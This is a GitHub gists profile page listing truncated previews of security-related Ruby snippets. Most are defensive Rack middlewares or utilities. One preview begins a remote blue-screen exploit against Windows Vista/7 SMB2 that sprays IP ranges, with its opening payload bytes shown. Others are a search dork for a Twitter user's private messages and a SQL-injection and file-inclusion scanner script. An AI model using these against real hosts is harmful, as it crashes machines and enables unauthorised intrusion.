Skip to content

Instantly share code, notes, and snippets.

View postmodern's full-sized avatar
🚀
releasing new versions

Postmodern postmodern

🚀
releasing new versions
View GitHub Profile
#!/bin/sh
for project in extlib do dm-core dm-more; do
echo ">>> Checking out $project"
git clone git://github.com/datamapper/$project.git
cd $project/
git checkout -b next --track origin/next
cd ..
done
@postmodern
postmodern / smb_spray.rb
Created September 8, 2009 21:44
Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. now with IP ranges
#!/usr/bin/env ruby
require 'ronin/extensions/ip_addr'
require 'ronin/network/tcp'
payload = [
"\x00\x00\x00\x90", # Begin SMB header: Session message
"\xff\x53\x4d\x42", # Server Component: SMB
"\x72\x00\x00\x00", # Negociate Protocol
"\x00\x18\x53\xc8", # Operation 0x18 & sub 0xc853
@postmodern
postmodern / filter_proxies.rb
Created September 23, 2009 00:43
Filters an Array of proxies, and returns speed statistics.
#!/usr/bin/env ruby
require 'ronin/network/http'
require 'ronin/extensions/kernel'
require 'xmpp4r'
require 'xmpp4r/muc'
require 'uri'
require 'set'
@postmodern
postmodern / sophsec_twitter.rb
Created September 27, 2009 03:04
Watches tweets in real-time using TweetStream, and can save them using TokyoCabinet
require 'tweetstream'
require 'rufus/tokyo'
module SophSec
module Twitter
#
# Watches tweets using the TweetStream library.
#
# @param [Hash] options
#
@postmodern
postmodern / lie_server.rb
Created October 12, 2009 00:06
A Rack middleware app to spoof the Server header.
module Rack
#
# The LieServer is a simple Rack middleware app which allows one to spoof
# the +Server+ header in responses for every request, requests to certain
# sub-directories or paths which match a regular expression.
#
# Be deceitful to would be attackers, tell them your running IIS 3.0.
#
# MIT License - Hal Brodigan (postmodern.mod3 at gmail.com)
#
@postmodern
postmodern / referer_control.rb
Created October 12, 2009 00:53
A Rack middleware app to control access to paths based on the Referer header.
module Rack
#
# RefererControl is a Rack middleware app which restricts access to paths
# based on the Referer header. Using RefererControl you can make sure
# users follow the intended flow of a website. If a controlled path is
# visited with an unacceptable Referer URI, then a simple 307 Redirect
# response is returned.
#
# RefererControl should also make Cross Site Request Forgery (CSRF) a
# little more difficult to exploit; but not impossible using JavaScript.
@postmodern
postmodern / ban_hammer.rb
Created October 12, 2009 01:24
A Rack middleware app that bans specified IPv4/IPv6 addresses and ranges.
require 'ipaddr'
module Rack
#
# BanHammer is a Rack middleware app that restricts access to your server
# using a black-list of IPv4/IPv6 addresses and ranges.
#
# MIT License - Hal Brodigan (postmodern.mod3 at gmail.com)
#
class BanHammer
@postmodern
postmodern / enforce_ssl.rb
Created October 12, 2009 02:32
A Rack middleware app that enforces certain paths be requested over HTTPS.
require 'rack/utils'
module Rack
#
# EnforceSSL is a Rack middleware app that enforces that users visit
# specific paths via HTTPS. If a sensitive path is requested over
# plain-text HTTP, a 307 Redirect will be issued leading to the HTTPS
# version of the Requested URI.
#
# MIT License - Hal Brodigan (postmodern.mod3 at gmail.com)
#!/usr/bin/env ruby
require 'ronin/dorks'
module SophSec
module Twitter
def Twitter.private_mesgs_dork(user_name)
dork = Ronin::Web::Dorks.search(:site => "twitter.com/#{user_name}")
end
@postmodern
postmodern / web_scanner.rb
Created December 1, 2009 23:25
A simple script for calling Ronin::Scanners::Web
#!/usr/bin/env ruby
require 'ronin/scanners/web'
require 'ronin/sql/scanner'
require 'ronin/php/lfi/scanner'
require 'ronin/php/rfi/scanner'
if ARGV.empty?
STDERR.puts "usage: #{$0} HOST ..."